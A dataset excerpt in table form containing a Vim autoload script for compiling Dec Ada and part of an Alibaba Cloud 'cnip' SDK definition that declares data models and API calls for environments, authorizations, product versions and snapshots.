content stringlengths 4 1.04M | lang stringclasses 358
values | score int64 0 5 | repo_name stringlengths 5 114 | repo_path stringlengths 4 229 | repo_licenses listlengths 1 8 |
|---|---|---|---|---|---|
"------------------------------------------------------------------------------
" Description: Vim Ada/Dec Ada compiler file
" Language: Ada (Dec Ada)
" $Id: decada.vim 887 2008-07-08 14:29:01Z krischik $
" Copyright: Copyright (C) 2006 Martin Krischik
" Maintainer: Martin Krischik <krischik@users.sourceforge.net>
" $Author: krischik $
" $Date: 2008-07-08 16:29:01 +0200 (Di, 08 Jul 2008) $
" Version: 4.6
" $Revision: 887 $
" $HeadURL: https://gnuada.svn.sourceforge.net/svnroot/gnuada/trunk/tools/vim/autoload/decada.vim $
" History: 21.07.2006 MK New Dec Ada
" 15.10.2006 MK Bram's suggestion for runtime integration
" 05.11.2006 MK Bram suggested not to use include protection for
" autoload
" 05.11.2006 MK Bram suggested to save on spaces
" Help Page: compiler-decada
"------------------------------------------------------------------------------
if version < 700
finish
endif
function decada#Unit_Name () dict " {{{1
" Convert filename into acs unit:
" 1: remove the file extension.
" 2: replace all double '_' or '-' with an dot (which denotes a separate)
" 3: remove a trailing '_' (which denotes a specification)
return substitute (substitute (expand ("%:t:r"), '__\|-', ".", "g"), '_$', "", '')
endfunction decada#Unit_Name " }}}1
function decada#Make () dict " {{{1
let l:make_prg = substitute (g:self.Make_Command, '%<', self.Unit_Name(), '')
let &errorformat = g:self.Error_Format
let &makeprg = l:make_prg
wall
make
copen
set wrap
wincmd W
endfunction decada#Build " }}}1
function decada#Set_Session (...) dict " {{{1
if a:0 > 0
call ada#Switch_Session (a:1)
elseif argc() == 0 && strlen (v:servername) > 0
call ada#Switch_Session (
\ expand('~')[0:-2] . ".vimfiles.session]decada_" .
\ v:servername . ".vim")
endif
return
endfunction decada#Set_Session " }}}1
function decada#New () " }}}1
let Retval = {
\ 'Make' : function ('decada#Make'),
\ 'Unit_Name' : function ('decada#Unit_Name'),
\ 'Set_Session' : function ('decada#Set_Session'),
\ 'Project_Dir' : '',
\ 'Make_Command' : 'ACS COMPILE /Wait /Log /NoPreLoad /Optimize=Development /Debug %<',
\ 'Error_Format' : '%+A%%ADAC-%t-%m,%C %#%m,%Zat line number %l in file %f,' .
\ '%+I%%ada-I-%m,%C %#%m,%Zat line number %l in file %f'}
return Retval
endfunction decada#New " }}}1
finish " 1}}}
"------------------------------------------------------------------------------
" Copyright (C) 2006 Martin Krischik
"
" Vim is Charityware - see ":help license" or uganda.txt for licence details.
"------------------------------------------------------------------------------
" vim: textwidth=78 wrap tabstop=8 shiftwidth=3 softtabstop=3 noexpandtab
" vim: foldmethod=marker
| VimL | 5 | uga-rosa/neovim | runtime/autoload/decada.vim | [
"Vim"
] |
/**
*
*/
import Util;
import OpenApi;
import OpenApiUtil;
import EndpointUtil;
extends OpenApi;
init(config: OpenApi.Config){
super(config);
@endpointRule = '';
checkConfig(config);
@endpoint = getEndpoint('cnip', @regionId, @endpointRule, @network, @suffix, @endpointMap, @endpoint);
}
function getEndpoint(productId: string, regionId: string, endpointRule: string, network: string, suffix: string, endpointMap: map[string]string, endpoint: string) throws: string{
if (!Util.empty(endpoint)) {
return endpoint;
}
if (!Util.isUnset(endpointMap) && !Util.empty(endpointMap[regionId])) {
return endpointMap[regionId];
}
return EndpointUtil.getEndpointRules(productId, regionId, endpointRule, network, suffix);
}
model ProductComponentRelationDetail {
appVersion?: string(name='appVersion', description='appVersion'),
category?: string(name='category', description='category'),
class?: string(name='class', description='class'),
componentName?: string(name='componentName', description='componentName'),
componentOrchestrationValues?: string(name='componentOrchestrationValues', description='componentOrchestrationValues'),
componentUID?: string(name='componentUID', description='componentUID'),
componentVersionUID?: string(name='componentVersionUID', description='componentVersionUID'),
createdAt?: string(name='createdAt', description='createdAt'),
description?: string(name='description', description='description'),
documents?: string(name='documents', description='documents'),
enable?: boolean(name='enable', description='enable'),
imagesMapping?: string(name='imagesMapping', description='imagesMapping'),
namespace?: string(name='namespace', description='namespace'),
orchestrationType?: string(name='orchestrationType', description='orchestrationType'),
parentComponent?: boolean(name='parentComponent', description='parentComponent'),
parentComponentVersionRelationUID?: string(name='parentComponentVersionRelationUID', description='parentComponentVersionRelationUID'),
parentComponentVersionUID?: string(name='parentComponentVersionUID', description='parentComponentVersionUID'),
priority?: int32(name='priority', description='priority'),
productVersionUID?: string(name='productVersionUID', description='productVersionUID'),
provider?: string(name='provider', description='provider'),
public?: boolean(name='public', description='public'),
readme?: string(name='readme', description='readme'),
relationUID?: string(name='relationUID', description='relationUID'),
releaseName?: string(name='releaseName', description='releaseName'),
resources?: string(name='resources', description='resources'),
sequence?: int32(name='sequence', description='sequence'),
singleton?: boolean(name='singleton', description='singleton'),
source?: string(name='source', description='source'),
version?: string(name='version', description='version'),
}
model FoundationVersion {
description?: string(name='description', description='description'),
documents?: string(name='documents', description='documents'),
name?: string(name='name', description='name'),
status?: string(name='status', description='status'),
uid?: string(name='uid', description='uid'),
version?: string(name='version', description='version'),
platforms?: [
Platform
](name='platforms', description='platforms'),
}
model Platform {
architecture?: string(name='architecture', description='architecture'),
os?: string(name='os', description='os'),
}
model InstanceInfo {
identifier?: string(name='identifier', description='identifier'),
hostName?: string(name='hostName', description='hostName'),
os?: string(name='os', description='os'),
osVersion?: string(name='osVersion', description='osVersion'),
arch?: string(name='arch', description='arch'),
kernel?: string(name='kernel', description='kernel'),
macAddress?: string(name='macAddress', description='macAddress'),
cpu?: string(name='cpu', description='cpu'),
memory?: string(name='memory', description='memory'),
systemDisk?: [
Disk
](name='systemDisk', description='systemDisk'),
dataDisk?: [
Disk
](name='dataDisk', description='dataDisk'),
privateIP?: string(name='privateIP', description='privateIP'),
publicIP?: string(name='publicIP', description='publicIP'),
internetBandwidth?: int32(name='internetBandwidth', description='internetBandwidth'),
networkCards?: [
{
name?: string(name='name', description='name'),
ip?: string(name='ip', description='ip'),
}
](name='networkCards', description='networkCards'),
imageID?: string(name='imageID', description='imageID'),
instanceType?: string(name='instanceType', description='instanceType'),
systemInfo?: string(name='systemInfo', description='systemInfo'),
rootPassword?: string(name='rootPassword', description='rootPassword'),
labels?: map[string]string(name='labels', description='labels'),
taints?: [
{
key?: string(name='key', description='key'),
value?: string(name='value', description='value'),
effect?: string(name='effect', description='effect'),
}
](name='taints', description='taints'),
annotations?: map[string]string(name='annotations', description='annotations'),
}
model Disk {
name?: string(name='name', description='name'),
capacity?: int32(name='capacity', description='capacity'),
remain?: int32(name='remain', description='remain'),
fsType?: string(name='fsType', description='fsType'),
mountPoint?: string(name='mountPoint', description='mountPoint'),
type?: string(name='type', description='type'),
}
model ComponentVersion {
appVersion?: string(name='appVersion', description='appVersion'),
componentName?: string(name='componentName', description='componentName'),
componentUID?: string(name='componentUID', description='componentUID'),
description?: string(name='description', description='description'),
documents?: string(name='documents', description='documents'),
imagesMapping?: string(name='imagesMapping', description='imagesMapping'),
namespace?: string(name='namespace', description='namespace'),
orchestrationType?: string(name='orchestrationType', description='orchestrationType'),
orchestrationValues?: string(name='orchestrationValues', description='orchestrationValues'),
packageURL?: string(name='packageURL', description='packageURL'),
parentComponent?: boolean(name='parentComponent', description='parentComponent'),
platforms?: [
Platform
](name='platforms', description='platforms'),
readme?: string(name='readme', description='readme'),
resources?: string(name='resources', description='resources'),
source?: string(name='source', description='source'),
uid?: string(name='uid', description='uid'),
version?: string(name='version', description='version'),
}
model ListAuthorizationHeaders {
commonHeaders?: map[string]string,
clientToken?: string(name='ClientToken'),
}
model ListAuthorizationRequest {
asGrantee?: boolean(name='asGrantee', description='默认为false, 代表获取作为授权人,授权给其他人的资源列表;如果为true,则返回其他人授权给自己的资源列表'),
resourceType?: string(name='resourceType'),
resourceIdentifier?: string(name='resourceIdentifier'),
pageNum?: long(name='pageNum'),
pageSize?: long(name='pageSize'),
sortKey?: string(name='sortKey'),
sortDirect?: string(name='sortDirect'),
}
model ListAuthorizationResponseBody = {
success?: boolean(name='success'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
data?: {
total?: long(name='total'),
pageSize?: long(name='pageSize'),
pageNum?: long(name='pageNum'),
list?: [
{
createdAt?: string(name='CreatedAt'),
uid?: string(name='uid'),
grantor?: string(name='grantor'),
grantee?: string(name='grantee'),
resourceType?: string(name='resourceType'),
resourceIdentifier?: string(name='resourceIdentifier'),
effect?: string(name='effect'),
description?: string(name='description'),
}
](name='list'),
}(name='data'),
}
model ListAuthorizationResponse = {
headers: map[string]string(name='headers'),
body: ListAuthorizationResponseBody(name='body'),
}
async function listAuthorization(request: ListAuthorizationRequest): ListAuthorizationResponse {
var runtime = new Util.RuntimeOptions{};
var headers = new ListAuthorizationHeaders{};
return listAuthorizationWithOptions(request, headers, runtime);
}
async function listAuthorizationWithOptions(request: ListAuthorizationRequest, headers: ListAuthorizationHeaders, runtime: Util.RuntimeOptions): ListAuthorizationResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.asGrantee)) {
query.asGrantee = request.asGrantee;
}
if (!Util.isUnset(request.resourceType)) {
query.resourceType = request.resourceType;
}
if (!Util.isUnset(request.resourceIdentifier)) {
query.resourceIdentifier = request.resourceIdentifier;
}
if (!Util.isUnset(request.pageNum)) {
query.pageNum = request.pageNum;
}
if (!Util.isUnset(request.pageSize)) {
query.pageSize = request.pageSize;
}
if (!Util.isUnset(request.sortKey)) {
query.sortKey = request.sortKey;
}
if (!Util.isUnset(request.sortDirect)) {
query.sortDirect = request.sortDirect;
}
var realHeaders : map[string]string = {};
if (!Util.isUnset(headers.commonHeaders)) {
realHeaders = headers.commonHeaders;
}
if (!Util.isUnset(headers.clientToken)) {
realHeaders.ClientToken = headers.clientToken;
}
var req = new OpenApi.OpenApiRequest{
headers = realHeaders,
query = OpenApiUtil.query(query),
};
return doROARequest('ListAuthorization', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/authorizations`, 'json', req, runtime);
}
model GetEnvironmentResponseBody = {
data?: {
clusterId?: string(name='clusterId'),
createdAt?: string(name='createdAt'),
description?: string(name='description'),
instanceList?: [
InstanceInfo
](name='instanceList'),
location?: string(name='location'),
name?: string(name='name'),
platform?: {
architecture?: string(name='architecture'),
os?: string(name='os'),
}(name='platform'),
productName?: string(name='productName'),
productVersion?: string(name='productVersion'),
uid?: string(name='uid'),
vendorConfig?: string(name='vendorConfig'),
vendorType?: string(name='vendorType'),
instanceStatus?: string(name='instanceStatus'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model GetEnvironmentResponse = {
headers: map[string]string(name='headers'),
body: GetEnvironmentResponseBody(name='body'),
}
async function getEnvironment(uid: string): GetEnvironmentResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getEnvironmentWithOptions(uid, headers, runtime);
}
async function getEnvironmentWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): GetEnvironmentResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('GetEnvironment', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/environments/${uid}`, 'json', req, runtime);
}
model GetProductEnvironmentResponseBody = {
data?: {
createdAt?: string(name='CreatedAt'),
clusterUID?: string(name='clusterUID'),
description?: string(name='description'),
instanceList?: [
InstanceInfo
](name='instanceList'),
instanceStatus?: string(name='instanceStatus'),
name?: string(name='name'),
productName?: string(name='productName'),
productVersion?: string(name='productVersion'),
productUID?: string(name='productUID'),
productVersionUID?: string(name='productVersionUID'),
type?: string(name='type'),
uid?: string(name='uid'),
vendorConfig?: string(name='vendorConfig'),
vendorType?: string(name='vendorType'),
snapshotUID?: string(name='snapshotUID'),
platform?: Platform(name='platform'),
platformStatus?: string(name='platformStatus'),
location?: string(name='location'),
oldProductVersion?: string(name='oldProductVersion'),
oldProductVersionUID?: string(name='oldProductVersionUID'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model GetProductEnvironmentResponse = {
headers: map[string]string(name='headers'),
body: GetProductEnvironmentResponseBody(name='body'),
}
async function getProductEnvironment(uid: string): GetProductEnvironmentResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getProductEnvironmentWithOptions(uid, headers, runtime);
}
async function getProductEnvironmentWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): GetProductEnvironmentResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('GetProductEnvironment', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/product_envs/${uid}`, 'json', req, runtime);
}
model GetProductVersionPackageRequest {
platform?: string(name='platform'),
packageType?: string(name='packageType'),
packageContentType?: string(name='packageContentType'),
oldProductVersionUID?: string(name='oldProductVersionUID'),
}
model GetProductVersionPackageResponseBody = {
data?: {
packageUID?: string(name='packageUID'),
packageStatus?: string(name='packageStatus'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model GetProductVersionPackageResponse = {
headers: map[string]string(name='headers'),
body: GetProductVersionPackageResponseBody(name='body'),
}
async function getProductVersionPackage(uid: string, request: GetProductVersionPackageRequest): GetProductVersionPackageResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getProductVersionPackageWithOptions(uid, request, headers, runtime);
}
async function getProductVersionPackageWithOptions(uid: string, request: GetProductVersionPackageRequest, headers: map[string]string, runtime: Util.RuntimeOptions): GetProductVersionPackageResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.platform)) {
query.platform = request.platform;
}
if (!Util.isUnset(request.packageType)) {
query.packageType = request.packageType;
}
if (!Util.isUnset(request.packageContentType)) {
query.packageContentType = request.packageContentType;
}
if (!Util.isUnset(request.oldProductVersionUID)) {
query.oldProductVersionUID = request.oldProductVersionUID;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('GetProductVersionPackage', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/hosting/product_versions/${uid}/packages`, 'json', req, runtime);
}
model UpdateSnapshotInstanceJoinOptionWithBatchRequest {
instanceUIDs?: string(name='instanceUIDs'),
joinSnapshot?: boolean(name='joinSnapshot'),
rootPassword?: string(name='rootPassword'),
}
model UpdateSnapshotInstanceJoinOptionWithBatchResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model UpdateSnapshotInstanceJoinOptionWithBatchResponse = {
headers: map[string]string(name='headers'),
body: UpdateSnapshotInstanceJoinOptionWithBatchResponseBody(name='body'),
}
async function updateSnapshotInstanceJoinOptionWithBatch(uid: string, request: UpdateSnapshotInstanceJoinOptionWithBatchRequest): UpdateSnapshotInstanceJoinOptionWithBatchResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return updateSnapshotInstanceJoinOptionWithBatchWithOptions(uid, request, headers, runtime);
}
async function updateSnapshotInstanceJoinOptionWithBatchWithOptions(uid: string, request: UpdateSnapshotInstanceJoinOptionWithBatchRequest, headers: map[string]string, runtime: Util.RuntimeOptions): UpdateSnapshotInstanceJoinOptionWithBatchResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.instanceUIDs)) {
query.instanceUIDs = request.instanceUIDs;
}
var body : map[string]any= {};
if (!Util.isUnset(request.joinSnapshot)) {
body.joinSnapshot = request.joinSnapshot;
}
if (!Util.isUnset(request.rootPassword)) {
body.rootPassword = request.rootPassword;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('UpdateSnapshotInstanceJoinOptionWithBatch', '2020-12-01', 'HTTPS', 'PUT', 'AK', `/api/v1/snapshots/${uid}/instances`, 'json', req, runtime);
}
model GetEnvironmentDeploymentRecordResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
data?: {
envDeploymentInfo?: {
envUID?: string(name='envUID'),
status?: string(name='status'),
uid?: string(name='uid'),
envParams?: string(name='envParams'),
}(name='envDeploymentInfo'),
}(name='data'),
}
model GetEnvironmentDeploymentRecordResponse = {
headers: map[string]string(name='headers'),
body: GetEnvironmentDeploymentRecordResponseBody(name='body'),
}
async function getEnvironmentDeploymentRecord(uid: string, deploymentUid: string): GetEnvironmentDeploymentRecordResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getEnvironmentDeploymentRecordWithOptions(uid, deploymentUid, headers, runtime);
}
async function getEnvironmentDeploymentRecordWithOptions(uid: string, deploymentUid: string, headers: map[string]string, runtime: Util.RuntimeOptions): GetEnvironmentDeploymentRecordResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('GetEnvironmentDeploymentRecord', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/environments/${uid}/deployments/${deploymentUid}`, 'json', req, runtime);
}
model GenerateVendorConfigTemplateResponseBody = {
data?: {
vendorConfig?: string(name='vendorConfig'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model GenerateVendorConfigTemplateResponse = {
headers: map[string]string(name='headers'),
body: GenerateVendorConfigTemplateResponseBody(name='body'),
}
async function generateVendorConfigTemplate(uid: string): GenerateVendorConfigTemplateResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return generateVendorConfigTemplateWithOptions(uid, headers, runtime);
}
async function generateVendorConfigTemplateWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): GenerateVendorConfigTemplateResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('GenerateVendorConfigTemplate', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/environments/${uid}/vendorConfigTmpl`, 'json', req, runtime);
}
model UpdateProductComponentRequest {
componentOrchestrationValues?: string(name='componentOrchestrationValues'),
enable?: boolean(name='enable'),
releaseName?: string(name='releaseName'),
}
model UpdateProductComponentResponseBody = {
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
errCode?: string(name='errCode'),
}
model UpdateProductComponentResponse = {
headers: map[string]string(name='headers'),
body: UpdateProductComponentResponseBody(name='body'),
}
async function updateProductComponent(uid: string, request: UpdateProductComponentRequest): UpdateProductComponentResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return updateProductComponentWithOptions(uid, request, headers, runtime);
}
async function updateProductComponentWithOptions(uid: string, request: UpdateProductComponentRequest, headers: map[string]string, runtime: Util.RuntimeOptions): UpdateProductComponentResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.componentOrchestrationValues)) {
body.componentOrchestrationValues = request.componentOrchestrationValues;
}
if (!Util.isUnset(request.enable)) {
body.enable = request.enable;
}
if (!Util.isUnset(request.releaseName)) {
body.releaseName = request.releaseName;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('UpdateProductComponent', '2020-12-01', 'HTTPS', 'PUT', 'AK', `/api/v1/productComponentVersions/${uid}`, 'json', req, runtime);
}
model ListProductVersionConfigRequest {
pageNum?: string(name='pageNum'),
pageSize?: string(name='pageSize'),
configType?: string(name='configType'),
}
model ListProductVersionConfigResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
data?: {
list?: [
{
productVersionUID?: string(name='productVersionUID'),
componentVersionUID?: string(name='componentVersionUID'),
name?: string(name='name'),
value?: string(name='value'),
description?: string(name='description'),
parentComponentVersionUID?: string(name='parentComponentVersionUID'),
componentName?: string(name='componentName'),
parentComponentName?: string(name='parentComponentName'),
componentReleaseName?: string(name='componentReleaseName'),
parentComponentReleaseName?: string(name='parentComponentReleaseName'),
}
](name='list'),
}(name='data'),
}
model ListProductVersionConfigResponse = {
headers: map[string]string(name='headers'),
body: ListProductVersionConfigResponseBody(name='body'),
}
async function listProductVersionConfig(uid: string, request: ListProductVersionConfigRequest): ListProductVersionConfigResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listProductVersionConfigWithOptions(uid, request, headers, runtime);
}
async function listProductVersionConfigWithOptions(uid: string, request: ListProductVersionConfigRequest, headers: map[string]string, runtime: Util.RuntimeOptions): ListProductVersionConfigResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.pageNum)) {
query.pageNum = request.pageNum;
}
if (!Util.isUnset(request.pageSize)) {
query.pageSize = request.pageSize;
}
if (!Util.isUnset(request.configType)) {
query.configType = request.configType;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('ListProductVersionConfig', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/product_versions/${uid}/configs`, 'json', req, runtime);
}
model AddAuthorizationHeaders {
commonHeaders?: map[string]string,
clientToken?: string(name='ClientToken'),
}
model AddAuthorizationRequest {
grantee?: string(name='grantee'),
resourceType?: string(name='resourceType'),
resourceIdentifier?: string(name='resourceIdentifier'),
type?: string(name='type', description='可选值:["ReadOnly","ReadWrite"]'),
effect?: string(name='effect', description='可选值:["Allow","Deny"]'),
description?: string(name='description'),
}
model AddAuthorizationResponseBody = {
success?: boolean(name='success'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
data?: {
uid?: string(name='uid'),
}(name='data'),
}
model AddAuthorizationResponse = {
headers: map[string]string(name='headers'),
body: AddAuthorizationResponseBody(name='body'),
}
async function addAuthorization(request: AddAuthorizationRequest): AddAuthorizationResponse {
var runtime = new Util.RuntimeOptions{};
var headers = new AddAuthorizationHeaders{};
return addAuthorizationWithOptions(request, headers, runtime);
}
async function addAuthorizationWithOptions(request: AddAuthorizationRequest, headers: AddAuthorizationHeaders, runtime: Util.RuntimeOptions): AddAuthorizationResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.grantee)) {
body.grantee = request.grantee;
}
if (!Util.isUnset(request.resourceType)) {
body.resourceType = request.resourceType;
}
if (!Util.isUnset(request.resourceIdentifier)) {
body.resourceIdentifier = request.resourceIdentifier;
}
if (!Util.isUnset(request.type)) {
body.type = request.type;
}
if (!Util.isUnset(request.effect)) {
body.effect = request.effect;
}
if (!Util.isUnset(request.description)) {
body.description = request.description;
}
var realHeaders : map[string]string = {};
if (!Util.isUnset(headers.commonHeaders)) {
realHeaders = headers.commonHeaders;
}
if (!Util.isUnset(headers.clientToken)) {
realHeaders.ClientToken = headers.clientToken;
}
var req = new OpenApi.OpenApiRequest{
headers = realHeaders,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('AddAuthorization', '2020-12-01', 'HTTPS', 'POST', 'AK', `/api/v1/authorizations`, 'json', req, runtime);
}
model ListAuthorizedResourcesHeaders {
commonHeaders?: map[string]string,
clientToken?: string(name='ClientToken'),
}
model ListAuthorizedResourcesRequest {
resourceType?: string(name='resourceType'),
resourceIdentifier?: string(name='resourceIdentifier'),
pageNum?: long(name='pageNum'),
pageSize?: long(name='pageSize'),
sortKey?: string(name='sortKey'),
sortDirect?: string(name='sortDirect'),
filterOptions?: map[string]any(name='filterOptions'),
}
model ListAuthorizedResourcesShrinkRequest {
resourceType?: string(name='resourceType'),
resourceIdentifier?: string(name='resourceIdentifier'),
pageNum?: long(name='pageNum'),
pageSize?: long(name='pageSize'),
sortKey?: string(name='sortKey'),
sortDirect?: string(name='sortDirect'),
filterOptionsShrink?: string(name='filterOptions'),
}
model ListAuthorizedResourcesResponseBody = {
data?: {
total?: long(name='total'),
pageNum?: long(name='pageNum'),
pageSize?: long(name='PageSize'),
list?: [
{
foo?: string(name='foo'),
}
](name='list'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
}
model ListAuthorizedResourcesResponse = {
headers: map[string]string(name='headers'),
body: ListAuthorizedResourcesResponseBody(name='body'),
}
async function listAuthorizedResources(request: ListAuthorizedResourcesRequest): ListAuthorizedResourcesResponse {
var runtime = new Util.RuntimeOptions{};
var headers = new ListAuthorizedResourcesHeaders{};
return listAuthorizedResourcesWithOptions(request, headers, runtime);
}
async function listAuthorizedResourcesWithOptions(tmpReq: ListAuthorizedResourcesRequest, headers: ListAuthorizedResourcesHeaders, runtime: Util.RuntimeOptions): ListAuthorizedResourcesResponse {
Util.validateModel(tmpReq);
var request = new ListAuthorizedResourcesShrinkRequest{};
OpenApiUtil.convert(tmpReq, request);
if (!Util.isUnset(tmpReq.filterOptions)) {
request.filterOptionsShrink = OpenApiUtil.arrayToStringWithSpecifiedStyle(tmpReq.filterOptions, 'filterOptions', 'json');
}
var query : map[string]any= {};
if (!Util.isUnset(request.resourceType)) {
query.resourceType = request.resourceType;
}
if (!Util.isUnset(request.resourceIdentifier)) {
query.resourceIdentifier = request.resourceIdentifier;
}
if (!Util.isUnset(request.pageNum)) {
query.pageNum = request.pageNum;
}
if (!Util.isUnset(request.pageSize)) {
query.pageSize = request.pageSize;
}
if (!Util.isUnset(request.sortKey)) {
query.sortKey = request.sortKey;
}
if (!Util.isUnset(request.sortDirect)) {
query.sortDirect = request.sortDirect;
}
if (!Util.isUnset(request.filterOptionsShrink)) {
query.filterOptions = request.filterOptionsShrink;
}
var realHeaders : map[string]string = {};
if (!Util.isUnset(headers.commonHeaders)) {
realHeaders = headers.commonHeaders;
}
if (!Util.isUnset(headers.clientToken)) {
realHeaders.ClientToken = headers.clientToken;
}
var req = new OpenApi.OpenApiRequest{
headers = realHeaders,
query = OpenApiUtil.query(query),
};
return doROARequest('ListAuthorizedResources', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/authorizations/resources`, 'json', req, runtime);
}
model CreateEnvironmentNodeRequest {
cpu?: int32(name='cpu'),
dataDisk?: [
{
name?: string(name='name'),
required?: int32(name='required'),
}
](name='dataDisk'),
hostName?: string(name='hostName'),
identifier?: string(name='identifier'),
labels?: map[string]any(name='labels'),
memory?: int32(name='memory'),
os?: string(name='os'),
privateIP?: string(name='privateIP'),
provider?: string(name='provider'),
rootPassword?: string(name='rootPassword'),
systemDisk?: [
{
name?: string(name='name'),
required?: int32(name='required'),
}
](name='systemDisk'),
taints?: [
{
effect?: string(name='effect'),
key?: string(name='key'),
value?: string(name='value'),
}
](name='taints'),
}
model CreateEnvironmentNodeResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model CreateEnvironmentNodeResponse = {
headers: map[string]string(name='headers'),
body: CreateEnvironmentNodeResponseBody(name='body'),
}
async function createEnvironmentNode(uid: string, request: CreateEnvironmentNodeRequest): CreateEnvironmentNodeResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return createEnvironmentNodeWithOptions(uid, request, headers, runtime);
}
async function createEnvironmentNodeWithOptions(uid: string, request: CreateEnvironmentNodeRequest, headers: map[string]string, runtime: Util.RuntimeOptions): CreateEnvironmentNodeResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.cpu)) {
body.cpu = request.cpu;
}
if (!Util.isUnset(request.dataDisk)) {
body.dataDisk = request.dataDisk;
}
if (!Util.isUnset(request.hostName)) {
body.hostName = request.hostName;
}
if (!Util.isUnset(request.identifier)) {
body.identifier = request.identifier;
}
if (!Util.isUnset(request.labels)) {
body.labels = request.labels;
}
if (!Util.isUnset(request.memory)) {
body.memory = request.memory;
}
if (!Util.isUnset(request.os)) {
body.os = request.os;
}
if (!Util.isUnset(request.privateIP)) {
body.privateIP = request.privateIP;
}
if (!Util.isUnset(request.provider)) {
body.provider = request.provider;
}
if (!Util.isUnset(request.rootPassword)) {
body.rootPassword = request.rootPassword;
}
if (!Util.isUnset(request.systemDisk)) {
body.systemDisk = request.systemDisk;
}
if (!Util.isUnset(request.taints)) {
body.taints = request.taints;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('CreateEnvironmentNode', '2020-12-01', 'HTTPS', 'POST', 'AK', `/api/v1/environments/${uid}/nodes`, 'json', req, runtime);
}
model ListFoundationVersionRelatedComponentVersionsResponseBody = {
requestId?: string(name='RequestId'),
data?: {
list?: [
ComponentVersion
](name='list'),
pageNum?: int32(name='pageNum'),
pageSize?: int32(name='pageSize'),
total?: int32(name='total'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model ListFoundationVersionRelatedComponentVersionsResponse = {
headers: map[string]string(name='headers'),
body: ListFoundationVersionRelatedComponentVersionsResponseBody(name='body'),
}
async function listFoundationVersionRelatedComponentVersions(uid: string): ListFoundationVersionRelatedComponentVersionsResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listFoundationVersionRelatedComponentVersionsWithOptions(uid, headers, runtime);
}
async function listFoundationVersionRelatedComponentVersionsWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): ListFoundationVersionRelatedComponentVersionsResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('ListFoundationVersionRelatedComponentVersions', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/foundation/versions/${uid}/component_versions`, 'json', req, runtime);
}
model GetSnapshotResponseBody = {
data?: {
description?: string(name='description'),
instanceCIDR?: string(name='instanceCIDR'),
name?: string(name='name'),
productName?: string(name='productName'),
productVersion?: string(name='productVersion'),
productVersionDesc?: string(name='productVersionDesc'),
region?: string(name='region'),
snapshotRegion?: string(name='snapshotRegion'),
snapshotStatus?: string(name='snapshotStatus'),
sourceEnvironmentUID?: string(name='sourceEnvironmentUID'),
